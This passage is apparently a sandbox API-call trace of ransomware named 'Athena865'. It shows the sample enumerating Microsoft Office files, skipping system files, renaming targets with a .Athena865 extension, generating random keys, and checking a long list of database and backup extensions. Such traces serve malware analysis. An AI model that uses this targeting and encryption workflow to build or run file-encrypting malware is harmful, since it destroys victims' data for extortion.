(lpString1="OUTLPERF.INI", lpString2="MSBuild") returned 1 [0144.954] lstrlenW (lpString="OUTLPERF.INI") returned 12 [0144.954] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLPERF.INI" | out: lpString1="OUTLPERF.INI") returned="OUTLPERF.INI" [0144.954] lstrlenW (lpString="OUTLPERF.INI") returned 12 [0144.954] lstrlenW (lpString="Athena865") returned 9 [0144.954] lstrcmpiW (lpString1="LPERF.INI", lpString2="Athena865") returned 1 [0144.954] lstrlenW (lpString=".dll") returned 4 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2=".dll") returned 1 [0144.954] lstrlenW (lpString=".lnk") returned 4 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2=".lnk") returned 1 [0144.955] lstrlenW (lpString=".ini") returned 4 [0144.955] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2=".ini") returned 1 [0144.955] lstrlenW (lpString=".sys") returned 4 [0144.955] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2=".sys") returned 1 [0144.955] lstrlenW (lpString="OUTLPERF.INI") returned 12 [0144.955] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI.Athena865") returned 70 [0144.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini.athena865"), dwFlags=0x1) returned 1 [0144.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.957] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2695) returned 1 [0144.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.957] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.971] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.971] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.971] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd90, lpName=0x0) returned 0x17c [0144.972] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd90) returned 0x100000 [0144.981] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.981] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.981] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.982] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.982] CloseHandle (hObject=0x17c) returned 1 [0144.982] CloseHandle (hObject=0x154) returned 1 [0144.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.983] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1f760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLWVW.DLL", cAlternateFileName="")) returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2=".") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="..") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="windows") returned -1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="bootmgr") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="temp") returned -1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="pagefile.sys") returned -1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="boot") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="ids.txt") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="ntuser.dat") returned 1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="perflogs") returned -1 [0144.983] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2="MSBuild") returned 1 [0144.983] lstrlenW (lpString="OUTLWVW.DLL") returned 11 [0144.983] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLWVW.DLL" | out: lpString1="OUTLWVW.DLL") returned="OUTLWVW.DLL" [0144.983] lstrlenW (lpString="OUTLWVW.DLL") returned 11 [0144.983] lstrlenW (lpString="Athena865") returned 9 [0144.983] lstrcmpiW (lpString1="TLWVW.DLL", lpString2="Athena865") returned 1 [0144.983] lstrlenW (lpString=".dll") returned 4 [0144.984] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2=".dll") returned 1 [0144.984] lstrlenW (lpString=".lnk") returned 4 [0144.984] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2=".lnk") returned 1 [0144.984] lstrlenW (lpString=".ini") returned 4 [0144.984] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2=".ini") returned 1 [0144.984] lstrlenW (lpString=".sys") returned 4 [0144.984] lstrcmpiW (lpString1="OUTLWVW.DLL", lpString2=".sys") returned 1 [0144.984] lstrlenW (lpString="OUTLWVW.DLL") returned 11 [0144.984] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.Athena865") returned 69 [0144.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.athena865"), dwFlags=0x1) returned 1 [0145.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.008] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=128864) returned 1 [0145.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.009] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.010] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.010] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.010] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa60, lpName=0x0) returned 0x17c [0145.014] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fa60) returned 0x100000 [0145.046] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.046] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.046] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.047] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.048] CloseHandle (hObject=0x17c) returned 1 [0145.048] CloseHandle (hObject=0x154) returned 1 [0145.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.049] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x2b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLWVW.DLL.IDX_DLL", cAlternateFileName="OUTLWV~1.IDX")) returned 1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2=".") returned 1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="..") returned 1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="windows") returned -1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="temp") returned -1 [0145.049] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="pagefile.sys") returned -1 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="boot") returned 1 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="perflogs") returned -1 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0145.050] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19 [0145.050] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLWVW.DLL.IDX_DLL" | out: lpString1="OUTLWVW.DLL.IDX_DLL") returned="OUTLWVW.DLL.IDX_DLL" [0145.050] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19 [0145.050] lstrlenW (lpString="Athena865") returned 9 [0145.050] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0145.050] lstrlenW (lpString=".dll") returned 4 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2=".dll") returned 1 [0145.050] lstrlenW (lpString=".lnk") returned 4 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0145.050] lstrlenW (lpString=".ini") returned 4 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2=".ini") returned 1 [0145.050] lstrlenW (lpString=".sys") returned 4 [0145.050] lstrcmpiW (lpString1="OUTLWVW.DLL.IDX_DLL", lpString2=".sys") returned 1 [0145.050] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19 [0145.050] lstrlenW (lpString="bak") returned 3 [0145.050] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0145.050] lstrlenW (lpString="ba_") returned 3 [0145.050] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0145.050] lstrlenW (lpString="dbb") returned 3 [0145.050] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0145.050] lstrlenW (lpString="vmdk") returned 4 [0145.050] lstrcmpiW (lpString1="_DLL", lpString2="vmdk") returned -1 [0145.050] lstrlenW (lpString="rar") returned 3 [0145.050] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0145.051] lstrlenW (lpString="zip") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0145.051] lstrlenW (lpString="tgz") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0145.051] lstrlenW (lpString="vbox") returned 4 [0145.051] lstrcmpiW (lpString1="_DLL", lpString2="vbox") returned -1 [0145.051] lstrlenW (lpString="vdi") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0145.051] lstrlenW (lpString="vhd") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0145.051] lstrlenW (lpString="vhdx") returned 4 [0145.051] lstrcmpiW (lpString1="_DLL", lpString2="vhdx") returned -1 [0145.051] lstrlenW (lpString="avhd") returned 4 [0145.051] lstrcmpiW (lpString1="_DLL", lpString2="avhd") returned -1 [0145.051] lstrlenW (lpString="db") returned 2 [0145.051] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0145.051] lstrlenW (lpString="db2") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0145.051] lstrlenW (lpString="db3") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0145.051] lstrlenW (lpString="dbf") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0145.051] lstrlenW (lpString="mdf") returned 3 [0145.051] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0145.051] lstrlenW (lpString="mdb") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0145.052] lstrlenW (lpString="sql") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0145.052] lstrlenW (lpString="sqlite") returned 6 [0145.052] lstrcmpiW (lpString1="DX_DLL", lpString2="sqlite") returned -1 [0145.052] lstrlenW (lpString="sqlite3") returned 7 [0145.052] lstrcmpiW (lpString1="IDX_DLL", lpString2="sqlite3") returned -1 [0145.052] lstrlenW (lpString="sqlitedb") returned 8 [0145.052] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sqlitedb") returned -1 [0145.052] lstrlenW (lpString="xml") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0145.052] lstrlenW (lpString="$er") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0145.052] lstrlenW (lpString="4dd") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0145.052] lstrlenW (lpString="4dl") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0145.052] lstrlenW (lpString="^^^") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0145.052] lstrlenW (lpString="abs") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0145.052] lstrlenW (lpString="abx") returned 3 [0145.052] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0145.052] lstrlenW (lpString="accdb") returned 5 [0145.052] lstrcmpiW (lpString1="X_DLL", lpString2="accdb") returned 1 [0145.052] lstrlenW (lpString="accdc") returned 5 [0145.052] lstrcmpiW (lpString1="X_DLL", lpString2="accdc") returned 1 [0145.052] lstrlenW (lpString="accde") returned 5 [0145.053] lstrcmpiW (lpString1="X_DLL", lpString2="accde") returned 1 [0145.053] lstrlenW (lpString="accdr") returned 5 [0145.053] lstrcmpiW (lpString1="X_DLL", lpString2="accdr") returned 1 [0145.053] lstrlenW (lpString="accdt") returned 5 [0145.053] lstrcmpiW (lpString1="X_DLL", lpString2="accdt") returned 1 [0145.053] lstrlenW (lpString="accdw") returned 5 [0145.053] lstrcmpiW (lpString1="X_DLL", lpString2="accdw") returned 1 [0145.053] lstrlenW (lpString="accft") returned 5 [0145.053] lstrcmpiW (lpString1="X_DLL", lpString2="accft") returned 1 [0145.053] lstrlenW (lpString="adb") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0145.053] lstrlenW (lpString="adb") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0145.053] lstrlenW (lpString="ade") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0145.053] lstrlenW (lpString="adf") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0145.053] lstrlenW (lpString="adn") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0145.053] lstrlenW (lpString="adp") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0145.053] lstrlenW (lpString="alf") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0145.053] lstrlenW (lpString="ask") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0145.053] lstrlenW (lpString="btr") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0145.053] lstrlenW (lpString="cat") returned 3 [0145.053] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0145.054] lstrlenW (lpString="cdb") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0145.054] lstrlenW (lpString="ckp") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0145.054] lstrlenW (lpString="cma") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0145.054] lstrlenW (lpString="cpd") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0145.054] lstrlenW (lpString="dacpac") returned 6 [0145.054] lstrcmpiW (lpString1="DX_DLL", lpString2="dacpac") returned 1 [0145.054] lstrlenW (lpString="dad") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0145.054] lstrlenW (lpString="dadiagrams") returned 10 [0145.054] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="dadiagrams") returned 1 [0145.054] lstrlenW (lpString="daschema") returned 8 [0145.054] lstrcmpiW (lpString1=".IDX_DLL", lpString2="daschema") returned -1 [0145.054] lstrlenW (lpString="db-journal") returned 10 [0145.054] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="db-journal") returned 1 [0145.054] lstrlenW (lpString="db-shm") returned 6 [0145.054] lstrcmpiW (lpString1="DX_DLL", lpString2="db-shm") returned 1 [0145.054] lstrlenW (lpString="db-wal") returned 6 [0145.054] lstrcmpiW (lpString1="DX_DLL", lpString2="db-wal") returned 1 [0145.054] lstrlenW (lpString="dbc") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0145.054] lstrlenW (lpString="dbs") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0145.054] lstrlenW (lpString="dbt") returned 3 [0145.054] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0145.054] lstrlenW (lpString="dbv") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0145.055] lstrlenW (lpString="dbx") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0145.055] lstrlenW (lpString="dcb") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0145.055] lstrlenW (lpString="dct") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0145.055] lstrlenW (lpString="dcx") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0145.055] lstrlenW (lpString="ddl") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0145.055] lstrlenW (lpString="dlis") returned 4 [0145.055] lstrcmpiW (lpString1="_DLL", lpString2="dlis") returned -1 [0145.055] lstrlenW (lpString="dp1") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0145.055] lstrlenW (lpString="dqy") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0145.055] lstrlenW (lpString="dsk") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0145.055] lstrlenW (lpString="dsn") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0145.055] lstrlenW (lpString="dtsx") returned 4 [0145.055] lstrcmpiW (lpString1="_DLL", lpString2="dtsx") returned -1 [0145.055] lstrlenW (lpString="dxl") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0145.055] lstrlenW (lpString="eco") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0145.055] lstrlenW (lpString="ecx") returned 3 [0145.055] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0145.056] lstrlenW (lpString="edb") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0145.056] lstrlenW (lpString="epim") returned 4 [0145.056] lstrcmpiW (lpString1="_DLL", lpString2="epim") returned -1 [0145.056] lstrlenW (lpString="fcd") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0145.056] lstrlenW (lpString="fdb") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0145.056] lstrlenW (lpString="fic") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0145.056] lstrlenW (lpString="flexolibrary") returned 12 [0145.056] lstrcmpiW (lpString1=".DLL.IDX_DLL", lpString2="flexolibrary") returned -1 [0145.056] lstrlenW (lpString="fm5") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0145.056] lstrlenW (lpString="fmp") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0145.056] lstrlenW (lpString="fmp12") returned 5 [0145.056] lstrcmpiW (lpString1="X_DLL", lpString2="fmp12") returned 1 [0145.056] lstrlenW (lpString="fmpsl") returned 5 [0145.056] lstrcmpiW (lpString1="X_DLL", lpString2="fmpsl") returned 1 [0145.056] lstrlenW (lpString="fol") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0145.056] lstrlenW (lpString="fp3") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0145.056] lstrlenW (lpString="fp4") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0145.056] lstrlenW (lpString="fp5") returned 3 [0145.056] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0145.057] lstrlenW (lpString="fp7") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0145.057] lstrlenW (lpString="fpt") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0145.057] lstrlenW (lpString="frm") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0145.057] lstrlenW (lpString="gdb") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0145.057] lstrlenW (lpString="gdb") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0145.057] lstrlenW (lpString="grdb") returned 4 [0145.057] lstrcmpiW (lpString1="_DLL", lpString2="grdb") returned -1 [0145.057] lstrlenW (lpString="gwi") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0145.057] lstrlenW (lpString="hdb") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0145.057] lstrlenW (lpString="his") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0145.057] lstrlenW (lpString="ib") returned 2 [0145.057] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0145.057] lstrlenW (lpString="idb") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0145.057] lstrlenW (lpString="ihx") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0145.057] lstrlenW (lpString="itdb") returned 4 [0145.057] lstrcmpiW (lpString1="_DLL", lpString2="itdb") returned -1 [0145.057] lstrlenW (lpString="itw") returned 3 [0145.057] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0145.057] lstrlenW (lpString="jet") returned 3 [0145.058] lstrcmpiW 